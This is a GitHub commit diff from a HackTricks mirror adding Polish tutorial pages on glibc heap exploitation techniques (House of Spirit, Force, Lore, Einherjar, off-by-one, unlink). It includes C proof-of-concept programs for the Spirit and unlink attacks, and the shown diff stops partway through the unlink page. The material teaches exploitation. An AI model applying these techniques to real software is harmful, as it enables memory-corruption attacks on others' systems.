2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-21 08:28:27 +00:00

Translated ['binary-exploitation/heap/heap-functions-security-checks.md'

This commit is contained in:
Translator 2024-05-14 11:14:54 +00:00
parent c9b665ad53
commit fbfe84ad5b
12 changed files with 498 additions and 203 deletions

Binary file not shown.

After

(image error) Size: 96 KiB

Binary file not shown.

After

(image error) Size: 99 KiB

Binary file not shown.

After

(image error) Size: 80 KiB

View file

@ -726,6 +726,12 @@
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
* [Double Free](binary-exploitation/heap/double-free.md)
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
* [House of Force](binary-exploitation/heap/house-of-force.md)
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)

View file

@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -24,7 +24,7 @@ Ta funkcja usuwa kawałek z dwukierunkowej listy. Powszechne sprawdzenia zapewni
## \_int\_malloc
Ta funkcja jest odpowiedzialna za alokację pamięci ze sterty. Sprawdzenia tutaj zapewniają, że pamięć nie jest uszkodzona podczas alokacji.
Ta funkcja jest odpowiedzialna za przydzielanie pamięci ze sterty. Sprawdzenia tutaj zapewniają, że pamięć nie jest uszkodzona podczas alokacji.
* **Sprawdzenie rozmiaru fastbin**:
* Podczas usuwania kawałka z fastbin, upewnij się, że rozmiar kawałka mieści się w zakresie fastbin.
@ -34,7 +34,7 @@ Ta funkcja jest odpowiedzialna za alokację pamięci ze sterty. Sprawdzenia tuta
* Komunikat o błędzie: `malloc(): smallbin double linked list corrupted`
* **Sprawdzenie zakresu pamięci unsorted bin**:
* Upewnij się, że rozmiar kawałków w unsorted bin mieści się w granicach minimalnego i maksymalnego limitu.
* Komunikat o błędzie: `malloc(): memory corruption`
* Komunikat o błędzie: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
* **Sprawdzenie spójności unsorted bin (pierwszy scenariusz)**:
* Podczas wstawiania pozostałego kawałka do unsorted bin, sprawdź, czy `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
* Komunikat o błędzie: `malloc(): corrupted unsorted chunks`
@ -55,7 +55,7 @@ Ta funkcja zwalnia wcześniej zaalokowaną pamięć. Sprawdzenia tutaj pomagają
* **Sprawdzenie rozmiaru fastbin**:
* Dla kawałków fastbin, upewnij się, że rozmiar następnego kawałka mieści się w granicach minimalnego i maksymalnego limitu.
* Komunikat o błędzie: `free(): invalid next size (fast)`
* **Sprawdzenie podwójnego zwalniania fastbin**:
* **Sprawdzenie podwójnego zwolnienia fastbin**:
* Podczas wstawiania kawałka do fastbin, upewnij się, że kawałek na początku nie jest taki sam jak ten, który jest wstawiany.
* Komunikat o błędzie: `double free or corruption (fasttop)`
* **Sprawdzenie spójności fastbin**:
@ -67,11 +67,11 @@ Ta funkcja zwalnia wcześniej zaalokowaną pamięć. Sprawdzenia tutaj pomagają
* **Sprawdzenie granic pamięci**:
* Upewnij się, że następny kawałek pamięci mieści się w granicach areny.
* Komunikat o błędzie: `double free or corruption (out)`
* **Sprawdzenie bitu prev\_inuse**:
* Upewnij się, że bit poprzednio używany w następnym kawałku jest oznaczony.
* **Sprawdzenie bitu prev_inuse**:
* Upewnij się, że bit poprzedniego używania w następnym kawałku jest oznaczony.
* Komunikat o błędzie: `double free or corruption (!prev)`
* **Sprawdzenie normalnego rozmiaru**:
* Upewnij się, że rozmiar następnego kawałka mieści się w prawidłowym zakresie.
* Upewnij się, że rozmiar następnego kawałka mieści się w prawidłowych zakresach.
* Komunikat o błędzie: `free(): invalid next size (normal)`
* **Sprawdzenie spójności unsorted bin**:
* Podczas wstawiania połączonego kawałka do unsorted bin, sprawdź, czy `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`.
@ -87,6 +87,6 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,61 @@
# Dom Einherjar
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
### Kod
* Sprawdź przykład z [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
### Cel
* Celem jest zaalokowanie pamięci praktycznie pod dowolnym adresem.
### Wymagania
* Błąd o jeden nad nagłówkiem następnego fragmentu w celu zmodyfikowania poprzedniego w użyciu
* Możliwość modyfikacji danych `prev_size`, które są częścią bieżącego fragmentu (na końcu)
* Wyciek sterty
### Atak
* Tworzony jest fałszywy fragment wewnątrz fragmentu kontrolowanego przez atakującego, wskazujący za pomocą `fd` i `bk` na oryginalny fragment w celu ominięcia zabezpieczeń
* Tworzone są 2 inne fragmenty (`B` i `C`).
* Wykorzystując błąd o jeden w fragmencie `B`, bit `prev in use` jest czyszczony, a dane `prev_size` są nadpisywane różnicą między miejscem, w którym jest alokowany fragment `C`, a fałszywym fragmentem `A` wygenerowanym wcześniej.
* Te `prev_size` i rozmiar fałszywego fragmentu `A` muszą być takie same, aby ominąć sprawdzenia.
* Następnie wypełniana jest Tcache
* Następnie `C` jest zwalniane, aby skonsolidowało się z fałszywym fragmentem `A`
* Następnie tworzony jest nowy fragment `D`, który będzie zaczynał się w fałszywym fragmencie `A` i pokrywał fragment `B`
* Następnie zwalniany jest fragment `B`, a jego `fd` jest nadpisywane adresem docelowym, wskazując na adres docelowy, nadużywając fragmentu `D`, który go zawiera.
* Następnie wykonuje się 2 alokacje pamięci, ponieważ druga będzie zawierać adres docelowy
## Referencje
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -0,0 +1,40 @@
# Dom Siły
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Podstawowe informacje
### Kod
* Ta technika została załatana ([**tutaj**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) i powoduje ten błąd: `malloc(): corrupted top size`
### Cel
* Celem tego ataku jest możliwość alokacji fragmentu pamięci w określonym adresie.
### Wymagania
* Przepełnienie, które pozwala nadpisać rozmiar nagłówka głównego fragmentu (np. -1).
* Możliwość kontrolowania rozmiaru alokacji sterty
### Atak
Jeśli atakujący chce mieć fragment w adresie P, po nadpisaniu rozmiaru głównego fragmentu wartością -1, najpierw potrzebne jest wykonanie malloc (\&top\_chunk - P). Należy zauważyć, że ten wskaźnik może znajdować się przed lub po top\_chunk, ponieważ dowolny rozmiar będzie mniejszy niż -1 (0xFFFFFFFFFFFFFFFF). Następnie, po zaalokowaniu tego początkowego fragmentu, główny fragment zostanie przeniesiony na pożądany adres P, a następny fragment będzie zaczynał się od tego adresu.
### Odwołania
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)

View file

@ -0,0 +1,61 @@
# Dom Lore
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
### Kod
* To nie działa
* Sprawdź ten z [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* Lub: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
### Cel
* Wstaw fałszywe małe bloki do małego kubełka, aby można je było przydzielić.
### Wymagania
* Stworzenie fałszywych bloków
* Znajomość adresu bloku ofiary i fałszywych bloków
* Możliwość modyfikacji wskaźników `bk` i `fd`
### Atak
* Przydzielony zostaje mały blok ofiary
* Atakujący generuje kilka fałszywych małych bloków, ustawia pierwszy fałszywy blok tak, aby wskaźnik `fd` wskazywał na prawdziwy blok, a `bk` wskazywał na drugi fałszywy blok. Następnie ustawia wskaźnik `bk` drugiego fałszywego bloku na pierwszy.
* Następnie przydzielany jest nowy duży blok, aby zapobiec scaleniu pierwszego z blokiem górnym podczas zwalniania
* Następnie zwalniany jest początkowy wskaźnik, a przydzielany jest drugi wskaźnik większego rozmiaru, aby zwolniony początkowy mały blok został umieszczony w małym kubełku.
* Prawdziwy mały blok jest modyfikowany, aby jego wskaźnik `bk` wskazywał na fałszywy blok.
* Następnie, gdy przydzielane są 2 bloki tego samego rozmiaru, najpierw otrzymują prawidłowy blok, a następnie jakiś nieprawidłowy blok kontrolowany w jakiś sposób przez atakującego.
## Odnośniki
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -0,0 +1,99 @@
# Dom Ducha
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
### Kod
<details>
<summary>Dom Ducha</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30);
printf("Victim: %p\n", victim);
return 0;
}
```
</details>
### Cel
* Być w stanie dodać dowolny adres do tcache / fast bin, aby przy wywołaniu malloc został użyty w bloku
### Wymagania
* Ten atak wymaga, aby atakujący był w stanie stworzyć kilka fałszywych szybkich bloków, poprawnie wskazując wartość ich rozmiaru, i nadpisać szybki blok o takim samym rozmiarze, który zostanie zwolniony, aby blok atakującego faktycznie trafił do fast bin.
### Atak
* Stwórz fałszywy blok, który omija kontrole bezpieczeństwa (będziesz potrzebował 2 fałszywych bloków)
* Przed zwolnieniem wskaźnika nadpisz go fałszywym blokiem, aby to on trafił do kosza
## Referencje
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,62 @@
# Przepełnienie o jeden
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>
## Podstawowe informacje
Mając dostęp tylko do przepełnienia o jeden bajt, atakujący może zmodyfikować poprzednie informacje o metadanych rozmiaru, co pozwala manipulować, które bloki są faktycznie zwalniane, generując w końcu blok zawierający inny legalny blok.
### Przykład kodu:
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
* Ten atak już nie działa ze względu na użycie Tcaches.
* Ponadto, jeśli spróbujesz go wykorzystać, używając większych bloków (aby tcaches nie były zaangażowane), otrzymasz błąd: `malloc(): invalid next size (unsorted)`
### Cel
* Umieścić blok wewnątrz innego bloku, dzięki czemu dostęp do zapisu w tym drugim bloku pozwala nadpisać zawartość zawartego bloku
### Wymagania
* Przepełnienie o jeden bajt, aby zmodyfikować poprzednie informacje o metadanych rozmiaru
### Atak
* Rezerwowane są 3 bloki pamięci (a, b, c) jeden po drugim. Następnie środkowy jest zwalniany. Pierwszy zawiera podatność na przepełnienie o jeden bajt i atakujący wykorzystuje to z użyciem 0x00 (jeśli poprzedni bajt był 0x10, sprawiłoby to, że środkowy blok wskazywałby, że jest o 0x10 mniejszy, niż naprawdę jest).
* Następnie, w środkowym zwolnionym bloku (b) alokowane są 2 mniejsze bloki, jednakże, ponieważ `b + b->size` nigdy nie aktualizuje bloku c, ponieważ wskazany adres jest mniejszy, niż powinien.&#x20;
* Następnie, b1 i c są zwalniane. Ponieważ `c - c->prev_size` nadal wskazuje na b (teraz b1), oba są scalane w jeden blok. Jednakże, b2 nadal znajduje się wewnątrz pomiędzy b1 i c.
* Wreszcie, wykonywane jest nowe malloc, odzyskując ten obszar pamięci, który faktycznie będzie zawierał b2, pozwalając właścicielowi nowego malloc kontrolować zawartość b2.
To zdjęcie doskonale wyjaśnia atak:
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Referencje
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>

View file

@ -0,0 +1,137 @@
# Atak Unlink
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## Podstawowe informacje
Kiedy ten atak został odkryty, głównie pozwalał na WWW (Write What Where), jednak dodano **sprawdzenia**, co sprawiło, że nowa wersja ataku stała się bardziej interesująca, ale również bardziej złożona i **bezużyteczna**.
### Przykład kodu:
<details>
<summary>Kod</summary>
```c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
```
</details>
### Cel
* Zmodyfikuj wskaźnik do fragmentu na stosie, aby wskazywał na stos, dzięki czemu możliwe będzie zmienianie zawartości stosu poprzez zapisywanie w fragmencie
### Wymagania
* Pewna kontrola w pamięci (np. stosie), aby utworzyć kilka fragmentów, nadając wartości niektórym atrybutom.
* Wyciek stosu w celu ustawienia wskaźników fałszywego fragmentu.
### Atak
* Istnieją dwa fragmenty (fragment1 i fragment2)
* Atakujący kontroluje zawartość fragmentu1 oraz nagłówki fragmentu2.
* W fragmencie1 atakujący tworzy strukturę fałszywego fragmentu:
